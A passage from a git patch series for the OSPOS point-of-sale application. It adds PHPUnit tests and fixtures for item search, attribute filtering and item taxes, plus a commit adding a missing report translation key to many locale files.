model(Item::class); + + // OSPOS's app_config cache can go stale mid-suite and fall back to defaults with + // no 'dateformat' key, so set it directly rather than depending on that cache. + config(OSPOS::class)->settings['dateformat'] = 'm/d/Y'; + config(OSPOS::class)->settings['number_locale'] = 'en_US'; + config(OSPOS::class)->settings['currency_decimals'] = 2; + } + + protected function tearDown(): void + { + parent::tearDown(); + } + + public function testSearchReturnsMatchingItemByName(): void + { + $uniqueName = 'Findable Widget ' . uniqid(); + $this->createSearchableItem([ + 'name' => $uniqueName, + 'cost_price' => 12.50, + 'unit_price' => 24.99, + ]); + + $results = $this->item->search($uniqueName, $this->defaultSearchFilters())->getResult(); + + $this->assertCount(1, $results); + $this->assertEquals($uniqueName, $results[0]->name); + $this->assertEquals(12.50, (float) $results[0]->cost_price); + $this->assertEquals(24.99, (float) $results[0]->unit_price); + } + + public function testSearchExcludesNonMatchingItems(): void + { + $matchingName = 'Matching Gadget ' . uniqid(); + $this->createSearchableItem(['name' => $matchingName]); + $this->createSearchableItem(['name' => 'Unrelated Thing ' . uniqid()]); + + $results = $this->item->search($matchingName, $this->defaultSearchFilters())->getResult(); + + $this->assertCount(1, $results); + $this->assertEquals($matchingName, $results[0]->name); + } + + public function testGetFoundRowsMatchesActualCount(): void + { + $sharedCategory = 'Shared Category ' . uniqid(); + $this->createSearchableItem(['category' => $sharedCategory]); + $this->createSearchableItem(['category' => $sharedCategory]); + $this->createSearchableItem(['category' => $sharedCategory]); + + $filters = $this->defaultSearchFilters(); + + $foundRows = $this->item->get_found_rows($sharedCategory, $filters); + $actualRows = $this->item->search($sharedCategory, $filters)->getResultArray(); + + $this->assertEquals(3, $foundRows); + $this->assertCount($foundRows, $actualRows); + } + + public function testSearchPaginationRowsAndLimitFrom(): void + { + $sharedCategory = 'Paginated Category ' . uniqid(); + $this->createSearchableItem(['name' => 'A Item ' . uniqid(), 'category' => $sharedCategory]); + $this->createSearchableItem(['name' => 'B Item ' . uniqid(), 'category' => $sharedCategory]); + $this->createSearchableItem(['name' => 'C Item ' . uniqid(), 'category' => $sharedCategory]); + + $results = $this->item->search( + $sharedCategory, + $this->defaultSearchFilters(), + 1, + 1, + 'items.name', + 'asc' + )->getResult(); + + $this->assertCount(1, $results); + $this->assertStringStartsWith('B Item', $results[0]->name); + } + + public function testSearchOrderPreservedAfterPhaseBJoin(): void + { + $sharedCategory = 'Ordered Category ' . uniqid(); + $this->createSearchableItem(['name' => 'Alpha Item ' . uniqid(), 'category' => $sharedCategory]); + $this->createSearchableItem(['name' => 'Beta Item ' . uniqid(), 'category' => $sharedCategory]); + $this->createSearchableItem(['name' => 'Gamma Item ' . uniqid(), 'category' => $sharedCategory]); + + $results = $this->item->search( + $sharedCategory, + $this->defaultSearchFilters(), + 0, + 0, + 'items.name', + 'desc' + )->getResult(); + + $names = array_map(static fn ($item) => $item->name, $results); + $sorted = $names; + rsort($sorted); + + $this->assertSame($sorted, $names); + } + + public function testSearchNoMatchesReturnsEmptyResultNotError(): void + { + $results = $this->item->search('no-such-item-' . uniqid(), $this->defaultSearchFilters())->getResult(); + + $this->assertIsArray($results); + $this->assertCount(0, $results); + } + + public function testSearchExcludesDeletedItemsByDefault(): void + { + $deletedName = 'Deleted Item ' . uniqid(); + $this->createSearchableItem(['name' => $deletedName, 'deleted' => 1]); + + $results = $this->item->search($deletedName, $this->defaultSearchFilters(['is_deleted' => false]))->getResult(); + + $this->assertCount(0, $results); + } + + public function testSearchIncludesDeletedWhenFilterSet(): void + { + $deletedName = 'Deleted Item ' . uniqid(); + $this->createSearchableItem(['name' => $deletedName, 'deleted' => 1]); + + $results = $this->item->search($deletedName, $this->defaultSearchFilters(['is_deleted' => true]))->getResult(); + + $this->assertCount(1, $results); + $this->assertEquals($deletedName, $results[0]->name); + } + + public function testSearchStockLocationFilter(): void + { + $locationAName = 'Location A Item ' . uniqid(); + $itemId = $this->createSearchableItem(['name' => $locationAName]); + $this->addItemQuantity($itemId, 1, 10); + + $resultsAtLocation1 = $this->item->search( + $locationAName, + $this->defaultSearchFilters(['stock_location_id' => 1]) + )->getResult(); + + $resultsAtLocation2 = $this->item->search( + $locationAName, + $this->defaultSearchFilters(['stock_location_id' => 2]) + )->getResult(); + + $this->assertCount(1, $resultsAtLocation1); + $this->assertCount(0, $resultsAtLocation2); + } + + public function testSearchTemporaryFilter(): void + { + $tempName = 'Temp Item ' . uniqid(); + $this->createSearchableItem(['name' => $tempName, 'item_type' => ITEM_TEMP]); + + $resultsWhenTemporary = $this->item->search( + $tempName, + $this->defaultSearchFilters(['temporary' => true]) + )->getResult(); + + $resultsWhenNotTemporary = $this->item->search( + $tempName, + $this->defaultSearchFilters(['temporary' => false]) + )->getResult(); + + $this->assertCount(1, $resultsWhenTemporary); + $this->assertCount(0, $resultsWhenNotTemporary); + } + + public function testSearchSortByQuantitySumsAcrossLocationsWithoutMultiplication(): void + { + $itemId = $this->createSearchableItem(['name' => 'Multi Location Item ' . uniqid()]); + + // createSearchableItem already inserts one inventory row; add two more + // inventory transactions so a naive SUM-after-join (which multiplies + // item_quantities rows by the inventory join) would triple-count. + $this->addInventoryRecord($itemId, 1); + $this->addInventoryRecord($itemId, 1); + + $this->addItemQuantity($itemId, 1, 10); + $this->addItemQuantity($itemId, 2, 5); + + $results = $this->item->search( + '', + $this->defaultSearchFilters(), + 0, + 0, + 'quantity', + 'desc' + )->getResult(); + + $match = array_values(array_filter($results, static fn ($r) => (int) $r->item_id === $itemId)); + + $this->assertCount(1, $match); + $this->assertEquals(15, (float) $match[0]->quantity); + } + + public function testSearchByNamedAttributeSyntax(): void + { + $colorDefinitionId = $this->createAttributeDefinition('Color ' . uniqid()); + $sizeDefinitionId = $this->createAttributeDefinition('Size ' . uniqid()); + $blueValue = 'Blue' . uniqid(); + $redValue = 'Red' . uniqid(); + $largeValue = 'Large' . uniqid(); + + $matchingId = $this->createSearchableItem(['name' => 'Named Attr Match ' . uniqid()]); + $this->linkAttributeValue($matchingId, $colorDefinitionId, $blueValue); + $this->linkAttributeValue($matchingId, $sizeDefinitionId, $largeValue); + + $wrongColorId = $this->createSearchableItem(['name' => 'Named Attr WrongColor ' . uniqid()]); + $this->linkAttributeValue($wrongColorId, $colorDefinitionId, $redValue); + $this->linkAttributeValue($wrongColorId, $sizeDefinitionId, $largeValue); + + $filters = $this->defaultSearchFilters([ + 'search_custom' => true, + 'definition_ids' => [$colorDefinitionId, $sizeDefinitionId], + ]); + + $colorAttrName = $this->getDefinitionName($colorDefinitionId); + $sizeAttrName = $this->getDefinitionName($sizeDefinitionId); + + $results = $this->item->search("{$colorAttrName}:{$blueValue} {$sizeAttrName}:{$largeValue}", $filters)->getResult(); + $ids = array_map(static fn ($item) => (int) $item->item_id, $results); + + $this->assertContains($matchingId, $ids); + $this->assertNotContains($wrongColorId, $ids); + } + + public function testSearchByNamedAttributeSyntaxWithCommaSeparator(): void + { + // parseAttributeSearch() treats a bare comma between name:value pairs as an implicit + // separator (like AND/OR), so "color:blue, size:large" must parse both attributes. + $colorDefinitionId = $this->createAttributeDefinition('Color ' . uniqid()); + $sizeDefinitionId = $this->createAttributeDefinition('Size ' . uniqid()); + $blueValue = 'Blue' . uniqid(); + $largeValue = 'Large' . uniqid(); + + $matchingId = $this->createSearchableItem(['name' => 'Comma Sep Match ' . uniqid()]); + $this->linkAttributeValue($matchingId, $colorDefinitionId, $blueValue); + $this->linkAttributeValue($matchingId, $sizeDefinitionId, $largeValue); + + $filters = $this->defaultSearchFilters([ + 'search_custom' => true, + 'definition_ids' => [$colorDefinitionId, $sizeDefinitionId], + ]); + + $colorAttrName = $this->getDefinitionName($colorDefinitionId); + $sizeAttrName = $this->getDefinitionName($sizeDefinitionId); + + $results = $this->item->search("{$colorAttrName}:{$blueValue}, {$sizeAttrName}:{$largeValue}", $filters)->getResult(); + $ids = array_map(static fn ($item) => (int) $item->item_id, $results); + + $this->assertContains($matchingId, $ids); + } + + public function testSearchByNamedAttributeCombinedWithFreeText(): void + { + // When search_custom is on, the free-text remainder matches attribute values + // (not item name/category/etc) - see the customAttributeSearch branch of search(). + // An item can only have one attribute_links row per definition_id (attribute_links_uq3), + // so the name:value attribute and the free-text-matched attribute must be different + // definitions. + $colorDefinitionId = $this->createAttributeDefinition('Color ' . uniqid()); + $materialDefinitionId = $this->createAttributeDefinition('Material ' . uniqid()); + $greenValue = 'Green' . uniqid(); + $freeTextValue = 'Cotton' . uniqid(); + + $matchingId = $this->createSearchableItem(['name' => 'Combo Search Widget ' . uniqid()]); + $this->linkAttributeValue($matchingId, $colorDefinitionId, $greenValue); + $this->linkAttributeValue($matchingId, $materialDefinitionId, $freeTextValue); + + $wrongFreeTextId = $this->createSearchableItem(['name' => 'Combo Search Other ' . uniqid()]); + $this->linkAttributeValue($wrongFreeTextId, $colorDefinitionId, $greenValue); + + $filters = $this->defaultSearchFilters([ + 'search_custom' => true, + 'definition_ids' => [$colorDefinitionId, $materialDefinitionId], + ]); + + $colorAttrName = $this->getDefinitionName($colorDefinitionId); + + $results = $this->item->search("{$colorAttrName}:{$greenValue} {$freeTextValue}", $filters)->getResult(); + $ids = array_map(static fn ($item) => (int) $item->item_id, $results); + + $this->assertContains($matchingId, $ids); + $this->assertNotContains($wrongFreeTextId, $ids); + } + + public function testPlainFreeTextSearchUnaffectedByAttributeParsing(): void + { + // search_custom is off here, so this exercises the plain by-name search path - + // parseAttributeSearch() is never even called in this branch of search(). + $uniqueName = 'Plain Search Widget ' . uniqid(); + $this->createSearchableItem(['name' => $uniqueName]); + + $results = $this->item->search($uniqueName, $this->defaultSearchFilters())->getResult(); + + $this->assertCount(1, $results); + $this->assertEquals($uniqueName, $results[0]->name); + } + + public function testSearchCustomWithoutNamedAttributeSyntaxMatchesAttributeValueAsBefore(): void + { + // No "name:value" syntax present, so parseAttributeSearch() finds no attributes and + // $freeTextSearch falls back to the raw $search - this is the pre-Feature-C behavior + // for search_custom, unaffected by the new named-attribute join. + $definitionId = $this->createAttributeDefinition('Material ' . uniqid()); + $searchValue = 'Cotton' . uniqid(); + + $matchingId = $this->createSearchableItem(['name' => 'Search Custom Widget ' . uniqid()]); + $this->linkAttributeValue($matchingId, $definitionId, $searchValue); + + $filters = $this->defaultSearchFilters([ + 'search_custom' => true, + 'definition_ids' => [$definitionId], + ]); + + $results = $this->item->search($searchValue, $filters)->getResult(); + $ids = array_map(static fn ($item) => (int) $item->item_id, $results); + + $this->assertContains($matchingId, $ids); + } + + public function testSearchByNamedAttributeMatchesDecimalAttribute(): void + { + $priceDefinitionId = $this->createAttributeDefinition('Price ' . uniqid(), DECIMAL); + + $matchingId = $this->createSearchableItem(['name' => 'Decimal Attr Match ' . uniqid()]); + $this->linkTypedAttributeValue($matchingId, $priceDefinitionId, '19.99', DECIMAL); + + $otherId = $this->createSearchableItem(['name' => 'Decimal Attr Other ' . uniqid()]); + $this->linkTypedAttributeValue($otherId, $priceDefinitionId, '5.00', DECIMAL); + + $filters = $this->defaultSearchFilters([ + 'search_custom' => true, + 'definition_ids' => [$priceDefinitionId], + ]); + + $priceAttrName = $this->getDefinitionName($priceDefinitionId); + + $results = $this->item->search("{$priceAttrName}:19.99", $filters)->getResult(); + $ids = array_map(static fn ($item) => (int) $item->item_id, $results); + + $this->assertContains($matchingId, $ids); + $this->assertNotContains($otherId, $ids); + } + + public function testSearchByNamedAttributeMatchesDateAttribute(): void + { + config(OSPOS::class)->settings['dateformat'] = 'm/d/Y'; + + $expiryDefinitionId = $this->createAttributeDefinition('Expiry ' . uniqid(), DATE); + + $matchingId = $this->createSearchableItem(['name' => 'Date Attr Match ' . uniqid()]); + $this->linkTypedAttributeValue($matchingId, $expiryDefinitionId, '01/15/2027', DATE); + + $otherId = $this->createSearchableItem(['name' => 'Date Attr Other ' . uniqid()]); + $this->linkTypedAttributeValue($otherId, $expiryDefinitionId, '02/20/2027', DATE); + + $filters = $this->defaultSearchFilters([ + 'search_custom' => true, + 'definition_ids' => [$expiryDefinitionId], + ]); + + $expiryAttrName = $this->getDefinitionName($expiryDefinitionId); + + $results = $this->item->search("{$expiryAttrName}:01/15/2027", $filters)->getResult(); + $ids = array_map(static fn ($item) => (int) $item->item_id, $results); + + $this->assertContains($matchingId, $ids); + $this->assertNotContains($otherId, $ids); + } + + public function testSearchByNamedAttributeDecimalRespectsLocaleDecimalSeparator(): void + { + $config = config(OSPOS::class); + $originalLocale = $config->settings['number_locale']; + $originalDecimals = $config->settings['currency_decimals']; + $config->settings['number_locale'] = 'de_DE'; + $config->settings['currency_decimals'] = 2; + + try { + $priceDefinitionId = $this->createAttributeDefinition('LocalePrice ' . uniqid(), DECIMAL); + + $matchingId = $this->createSearchableItem(['name' => 'Locale Decimal Match ' . uniqid()]); + $this->linkTypedAttributeValue($matchingId, $priceDefinitionId, '19.99', DECIMAL); + + $filters = $this->defaultSearchFilters([ + 'search_custom' => true, + 'definition_ids' => [$priceDefinitionId], + ]); + + $priceAttrName = $this->getDefinitionName($priceDefinitionId); + + // Comma decimal separator, matching the de_DE locale, should parse and match. + $commaResults = $this->item->search("{$priceAttrName}:19,99", $filters)->getResult(); + $commaIds = array_map(static fn ($item) => (int) $item->item_id, $commaResults); + $this->assertContains($matchingId, $commaIds); + } finally { + $config->settings['number_locale'] = $originalLocale; + $config->settings['currency_decimals'] = $originalDecimals; + } + } + + public function testSearchByUnknownNamedAttributeDoesNotReturnAllItems(): void + { + $definitionId = $this->createAttributeDefinition('Known ' . uniqid()); + $knownAttrName = $this->getDefinitionName($definitionId); + + $this->createSearchableItem(['name' => 'Unrelated Item ' . uniqid()]); + $this->createSearchableItem(['name' => 'Another Unrelated Item ' . uniqid()]); + + $filters = $this->defaultSearchFilters([ + 'search_custom' => true, + 'definition_ids' => [$definitionId], + ]); + + $results = $this->item->search("{$knownAttrName}:nomatch nosuchattr:{$knownAttrName}", $filters)->getResult(); + + $this->assertCount(0, $results); + } + + private function getDefinitionName(int $definitionId): string + { + return db_connect()->table('attribute_definitions') + ->select('definition_name') + ->where('definition_id', $definitionId) + ->get() + ->getRow() + ->definition_name; + } +} diff --git a/tests/Models/ItemTaxesMultipleTest.php b/tests/Models/ItemTaxesMultipleTest.php new file mode 100644 index 000000000..e820d005f --- /dev/null +++ b/tests/Models/ItemTaxesMultipleTest.php @@ -0,0 +1,79 @@ +call('TestDatabaseBootstrapSeeder'); + } + + protected function setUp(): void + { + parent::setUp(); + + $this->item_taxes = model(Item_taxes::class); + } + + public function testGetInfoMultipleReturnsTaxesGroupedByItemId(): void + { + $itemOneId = $this->createSearchableItem(); + $itemTwoId = $this->createSearchableItem(); + + $itemOneTaxes = [['name' => 'VAT', 'percent' => 20]]; + $itemTwoTaxes = [['name' => 'GST', 'percent' => 10]]; + + $this->item_taxes->save_value($itemOneTaxes, $itemOneId); + $this->item_taxes->save_value($itemTwoTaxes, $itemTwoId); + + $result = $this->item_taxes->getInfoMultiple([$itemOneId, $itemTwoId]); + + $this->assertArrayHasKey($itemOneId, $result); + $this->assertArrayHasKey($itemTwoId, $result); + $this->assertCount(1, $result[$itemOneId]); + $this->assertCount(1, $result[$itemTwoId]); + $this->assertEquals('VAT', $result[$itemOneId][0]['name']); + $this->assertEquals('GST', $result[$itemTwoId][0]['name']); + } + + public function testGetInfoMultipleItemWithNoTaxesOmittedFromResult(): void + { + $itemWithTaxesId = $this->createSearchableItem(); + $itemWithoutTaxesId = $this->createSearchableItem(); + + $taxes = [['name' => 'VAT', 'percent' => 20]]; + $this->item_taxes->save_value($taxes, $itemWithTaxesId); + + $result = $this->item_taxes->getInfoMultiple([$itemWithTaxesId, $itemWithoutTaxesId]); + + $this->assertArrayHasKey($itemWithTaxesId, $result); + $this->assertArrayNotHasKey($itemWithoutTaxesId, $result); + } + + public function testGetInfoMultipleEmptyItemIdsReturnsEmptyArray(): void + { + $result = $this->item_taxes->getInfoMultiple([]); + + $this->assertSame([], $result); + } +} diff --git a/tests/Support/ItemSearchFixtureTrait.php b/tests/Support/ItemSearchFixtureTrait.php new file mode 100644 index 000000000..b8a5e6b33 --- /dev/null +++ b/tests/Support/ItemSearchFixtureTrait.php @@ -0,0 +1,133 @@ + null, + 'name' => 'Searchable Item ' . uniqid(), + 'category' => 'Test Category', + 'cost_price' => 1.00, + 'unit_price' => 5.00, + 'reorder_level' => 0, + 'item_number' => 'SEARCH-' . uniqid(), + 'allow_alt_description' => 0, + 'is_serialized' => 0, + 'item_type' => ITEM, + 'deleted' => 0, + ], $overrides); + + $itemModel = model(Item::class); + $itemModel->save_value($itemData); + + $itemId = (int) $itemData['item_id']; + + $this->addInventoryRecord($itemId); + + return $itemId; + } + + protected function addInventoryRecord(int $itemId, int $locationId = 1): void + { + $inventoryModel = model(Inventory::class); + $inventoryModel->insert([ + 'trans_items' => $itemId, + 'trans_user' => 1, + 'trans_comment' => 'Test fixture', + 'trans_inventory' => 0, + 'trans_location' => $locationId, + ]); + } + + protected function ensureStockLocation(int $locationId): void + { + $db = db_connect(); + $exists = $db->table('stock_locations')->where('location_id', $locationId)->get()->getRow(); + if ($exists === null) { + $db->query( + 'INSERT INTO ' . $db->prefixTable('stock_locations') . ' (location_id, location_name, deleted) VALUES (?, ?, 0)', + [$locationId, 'Test Location ' . $locationId] + ); + } + } + + protected function addItemQuantity(int $itemId, int $locationId, float $quantity): void + { + $this->ensureStockLocation($locationId); + + $itemQuantityModel = model(Item_quantity::class); + $itemQuantityModel->save_value( + [ + 'item_id' => $itemId, + 'location_id' => $locationId, + 'quantity' => $quantity, + ], + $itemId, + $locationId + ); + } + + protected function defaultSearchFilters(array $overrides = []): array + { + return array_merge([ + 'start_date' => '2000-01-01', + 'end_date' => '2100-01-01', + 'stock_location_id' => -1, + 'empty_upc' => false, + 'low_inventory' => false, + 'is_serialized' => false, + 'no_description' => false, + 'search_custom' => false, + 'is_deleted' => false, + 'temporary' => false, + 'definition_ids' => [], + ], $overrides); + } + + protected function createAttributeDefinition(string $name, string $type = TEXT, int $flags = 1): int + { + $db = db_connect(); + $db->table('attribute_definitions')->insert([ + 'definition_name' => $name, + 'definition_type' => $type, + 'definition_flags' => $flags, + 'deleted' => 0, + ]); + + return (int) $db->insertID(); + } + + protected function linkAttributeValue(int $itemId, int $definitionId, string $value): void + { + $db = db_connect(); + + // attribute_value is unique: reuse the existing attribute_id if this value already exists + $existing = $db->table('attribute_values')->select('attribute_id')->where('attribute_value', $value)->get()->getRow(); + if ($existing !== null) { + $attributeId = (int) $existing->attribute_id; + } else { + $db->table('attribute_values')->insert(['attribute_value' => $value]); + $attributeId = (int) $db->insertID(); + } + + $db->table('attribute_links')->insert([ + 'definition_id' => $definitionId, + 'attribute_id' => $attributeId, + 'item_id' => $itemId, + ]); + } + + protected function linkTypedAttributeValue(int $itemId, int $definitionId, string $value, string $definitionType): void + { + $attributeModel = model(Attribute::class); + $attributeModel->saveAttributeValue($value, $definitionId, $itemId, false, $definitionType); + } +} diff --git a/tests/helpers/GetItemDataRowTest.php b/tests/helpers/GetItemDataRowTest.php new file mode 100644 index 000000000..89ae14729 --- /dev/null +++ b/tests/helpers/GetItemDataRowTest.php @@ -0,0 +1,107 @@ +injectSettings(); + } + + protected function injectSettings(array $overrides = []): void + { + $config = new OSPOS(); + $config->settings = array_merge([ + 'multi_pack_enabled' => 0, + 'use_destination_based_tax' => 0, + 'number_locale' => 'en_US', + 'currency_decimals' => 2, + 'quantity_decimals' => 0, + 'thousands_separator' => 1, + 'currency_symbol' => '$', + ], $overrides); + + Factories::injectMock('config', OSPOS::class, $config); + } + + protected function makeItem(array $overrides = []): stdClass + { + $item = new stdClass(); + + $defaults = [ + 'item_id' => 1, + 'item_number' => 'ITEM-001', + 'name' => 'Test Item', + 'category' => 'Test Category', + 'company_name' => 'Test Supplier', + 'cost_price' => 10.00, + 'unit_price' => 20.00, + 'quantity' => 5, + 'pic_filename' => null, + 'pack_name' => null, + 'tax_category_id' => null, + ]; + + foreach (array_merge($defaults, $overrides) as $key => $value) { + $item->$key = $value; + } + + return $item; + } + + public function testTaxPercentsPulledFromPassedMapNotQueried(): void + { + $item = $this->makeItem(['item_id' => 42]); + + $columns = getItemDataRow($item, [], [42 => '20.00%']); + + $this->assertEquals('20.00%', $columns['tax_percents']); + } + + public function testTaxPercentsDefaultsToDashWhenItemIdMissingFromMap(): void + { + $item = $this->makeItem(['item_id' => 99]); + + $columns = getItemDataRow($item, [], []); + + $this->assertEquals('-', $columns['tax_percents']); + } + + public function testDefinitionNamesPassedThroughToExpandAttributeValues(): void + { + $item = $this->makeItem(['item_id' => 7]); + $item->attribute_values = '3_Red'; + $item->attribute_dtvalues = ''; + $item->attribute_dvalues = ''; + + $definitionNames = [ + 3 => ['name' => 'Color', 'type' => TEXT], + ]; + + $columns = getItemDataRow($item, $definitionNames, []); + + $this->assertArrayHasKey(3, $columns); + $this->assertEquals('Red', $columns[3]); + } + + public function testPackNameAppendedToItemName(): void + { + $this->injectSettings(['multi_pack_enabled' => 1]); + + $item = $this->makeItem(['name' => 'Base Item', 'pack_name' => 'Pack of 6']); + + $columns = getItemDataRow($item, [], []); + + $this->assertEquals('Base Item' . NAME_SEPARATOR . 'Pack of 6', $columns['name']); + } +} From 2929945d0b66d09048dd0c2257738e181dd53a83 Mon Sep 17 00:00:00 2001 From: Rayan Abdul Cader <141821420+minutechreview@users.noreply.github.com> Date: Mon, 5 Oct 2026 09:13:55 +0300 Subject: [PATCH 28/31] fix(i18n): add missing toggle_cost_and_profit key to 32 locales (#4712) * fix(i18n): add missing toggle_cost_and_profit key to 32 locales * fix(i18n): put toggle_cost_and_profit in alphabetical order --------- Co-authored-by: Cursor Agent Co-authored-by: Rayan Abdul Cader --- app/Language/ar-EG/Reports.php | 1 + app/Language/ar-LB/Reports.php | 1 + app/Language/bg/Reports.php | 1 + app/Language/bs/Reports.php | 1 + app/Language/ckb/Reports.php | 1 + app/Language/cs/Reports.php | 1 + app/Language/da/Reports.php | 1 + app/Language/de-CH/Reports.php | 1 + app/Language/el/Reports.php | 1 + app/Language/en/Reports.php | 2 +- app/Language/es-MX/Reports.php | 1 + app/Language/fa/Reports.php | 1 + app/Language/he/Reports.php | 1 + app/Language/hr-HR/Reports.php | 1 + app/Language/hu/Reports.php | 1 + app/Language/hy/Reports.php | 1 + app/Language/id/Reports.php | 1 + app/Language/km/Reports.php | 1 + app/Language/lo/Reports.php | 1 + app/Language/ml/Reports.php | 1 + app/Language/nb/Reports.php | 1 + app/Language/nl-BE/Reports.php | 1 + app/Language/pl/Reports.php | 1 + app/Language/ro/Reports.php | 1 + app/Language/sv/Reports.php | 1 + app/Language/ta/Reports.php | 1 + app/Language/tl/Reports.php | 1 + app/Language/tr/Reports.php | 1 + app/Language/uk/Reports.php | 1 + app/Language/ur/Reports.php | 1 + app/Language/vi/Reports.php | 1 + app/Language/zh-Hans/Reports.php | 1 + app/Language/zh-Hant/Reports.php | 1 + 33 files changed, 33 insertions(+), 1 deletion(-) diff --git a/app/Language/ar-EG/Reports.php b/app/Language/ar-EG/Reports.php index 2e1d77356..a4580f647 100644 --- a/app/Language/ar-EG/Reports.php +++ b/app/Language/ar-EG/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "معدل الضريبة", "taxes" => "الضرائب", "taxes_summary_report" => "تقرير ملخص الضرائب", + "toggle_cost_and_profit" => "", "total" => "الإجمالى", "total_inventory_value" => "إجمالى قيمة المخزن", "total_low_sell_quantity" => "مجموع الكميات حسب الصنف الاولي", diff --git a/app/Language/ar-LB/Reports.php b/app/Language/ar-LB/Reports.php index 2e1d77356..a4580f647 100644 --- a/app/Language/ar-LB/Reports.php +++ b/app/Language/ar-LB/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "معدل الضريبة", "taxes" => "الضرائب", "taxes_summary_report" => "تقرير ملخص الضرائب", + "toggle_cost_and_profit" => "", "total" => "الإجمالى", "total_inventory_value" => "إجمالى قيمة المخزن", "total_low_sell_quantity" => "مجموع الكميات حسب الصنف الاولي", diff --git a/app/Language/bg/Reports.php b/app/Language/bg/Reports.php index fa31c61b5..581bb197d 100644 --- a/app/Language/bg/Reports.php +++ b/app/Language/bg/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "Taxes", "taxes_summary_report" => "Taxes Summary Report", + "toggle_cost_and_profit" => "", "total" => "Total", "total_inventory_value" => "Total Inventory Value", "total_low_sell_quantity" => "", diff --git a/app/Language/bs/Reports.php b/app/Language/bs/Reports.php index 77e34226c..ab5369986 100644 --- a/app/Language/bs/Reports.php +++ b/app/Language/bs/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "Poreska stopa", "taxes" => "Porezi", "taxes_summary_report" => "Zbirni izvještaj poreza", + "toggle_cost_and_profit" => "", "total" => "Ukupno", "total_inventory_value" => "Ukupan iznos zalihe", "total_low_sell_quantity" => "Ukupno količina niskih prodaja", diff --git a/app/Language/ckb/Reports.php b/app/Language/ckb/Reports.php index 9b76e1d11..5f11f141b 100644 --- a/app/Language/ckb/Reports.php +++ b/app/Language/ckb/Reports.php @@ -128,6 +128,7 @@ return [ 'tax_rate' => "ڕێژەی باج", 'taxes' => "باجەکان", 'taxes_summary_report' => "‎ڕاپۆرتی پوختەی باجەکان", + 'toggle_cost_and_profit' => "", 'total' => "گشتی", 'total_inventory_value' => "کۆی بەهای جەرد", 'total_low_sell_quantity' => "کۆی گشتی بڕی فرۆشتنی کەم", diff --git a/app/Language/cs/Reports.php b/app/Language/cs/Reports.php index 21f5c3157..3bc924d36 100644 --- a/app/Language/cs/Reports.php +++ b/app/Language/cs/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "Daně", "taxes_summary_report" => "Přehled podle DPH", + "toggle_cost_and_profit" => "", "total" => "Celkem", "total_inventory_value" => "Celková cena skladu", "total_low_sell_quantity" => "", diff --git a/app/Language/da/Reports.php b/app/Language/da/Reports.php index c45e50b78..9cf1665e2 100644 --- a/app/Language/da/Reports.php +++ b/app/Language/da/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "", "taxes_summary_report" => "", + "toggle_cost_and_profit" => "", "total" => "", "total_inventory_value" => "", "total_low_sell_quantity" => "", diff --git a/app/Language/de-CH/Reports.php b/app/Language/de-CH/Reports.php index cb31a533e..ef4717c2a 100644 --- a/app/Language/de-CH/Reports.php +++ b/app/Language/de-CH/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "Steuern", "taxes_summary_report" => "Bericht: Steuern (summarisch)", + "toggle_cost_and_profit" => "Kosten & Gewinn umschalten", "total" => "Total", "total_inventory_value" => "Total Inventarwert", "total_low_sell_quantity" => "", diff --git a/app/Language/el/Reports.php b/app/Language/el/Reports.php index 93316dfd2..15ff6bed9 100644 --- a/app/Language/el/Reports.php +++ b/app/Language/el/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "", "taxes_summary_report" => "", + "toggle_cost_and_profit" => "", "total" => "", "total_inventory_value" => "", "total_low_sell_quantity" => "", diff --git a/app/Language/en/Reports.php b/app/Language/en/Reports.php index d8361b7f6..9912da3cc 100644 --- a/app/Language/en/Reports.php +++ b/app/Language/en/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "Tax Rate", "taxes" => "Taxes", "taxes_summary_report" => "Taxes Summary Report", + "toggle_cost_and_profit" => "Toggle Cost & Profit", "total" => "Total", "total_inventory_value" => "Total Inventory Value", "total_low_sell_quantity" => "Total Low Sell Quantity", @@ -146,5 +147,4 @@ return [ "used" => "Points Used", "work_orders" => "Work Orders", "zero_and_less" => "Zero and less", - "toggle_cost_and_profit" => "Toggle Cost & Profit", ]; diff --git a/app/Language/es-MX/Reports.php b/app/Language/es-MX/Reports.php index 4f24ae0f9..3f144f67b 100644 --- a/app/Language/es-MX/Reports.php +++ b/app/Language/es-MX/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "Tarifa de Impuesto", "taxes" => "Impuestos", "taxes_summary_report" => "Reporte Resumido de Impuestos", + "toggle_cost_and_profit" => "Alternar Costo y Ganancia", "total" => "Total", "total_inventory_value" => "Valor Total del Inventario", "total_low_sell_quantity" => "Cantidad Total de Venta Baja", diff --git a/app/Language/fa/Reports.php b/app/Language/fa/Reports.php index 00aa80535..a879c9276 100644 --- a/app/Language/fa/Reports.php +++ b/app/Language/fa/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "نرخ مالیات", "taxes" => "مالیات", "taxes_summary_report" => "گزارش خلاصه مالیات", + "toggle_cost_and_profit" => "", "total" => "جمع", "total_inventory_value" => "ارزش کل موجودی", "total_low_sell_quantity" => "تعداد کم فروش کم", diff --git a/app/Language/he/Reports.php b/app/Language/he/Reports.php index 393a6ef63..6177843b5 100644 --- a/app/Language/he/Reports.php +++ b/app/Language/he/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "שיעור מס", "taxes" => "מסים", "taxes_summary_report" => "דוח סיכום מסים", + "toggle_cost_and_profit" => "", "total" => "סהכ", "total_inventory_value" => "סהכ ערך מלאי", "total_low_sell_quantity" => "סהכ מינימום כמות למכירה", diff --git a/app/Language/hr-HR/Reports.php b/app/Language/hr-HR/Reports.php index aa88f1803..53cecab8e 100644 --- a/app/Language/hr-HR/Reports.php +++ b/app/Language/hr-HR/Reports.php @@ -128,6 +128,7 @@ return [ "tax_rate" => "", "taxes" => "Porezi", "taxes_summary_report" => "Zbrojni izvještaj po porezima", + "toggle_cost_and_profit" => "", "total" => "Ukupno", "total_inventory_value" => "Ukupan iznos inventure", "total_low_sell_quantity" => "", diff --git a/app/Language/hu/Reports.php b/app/Language/hu/Reports.php index faee19987..b6310fee3 100644 --- 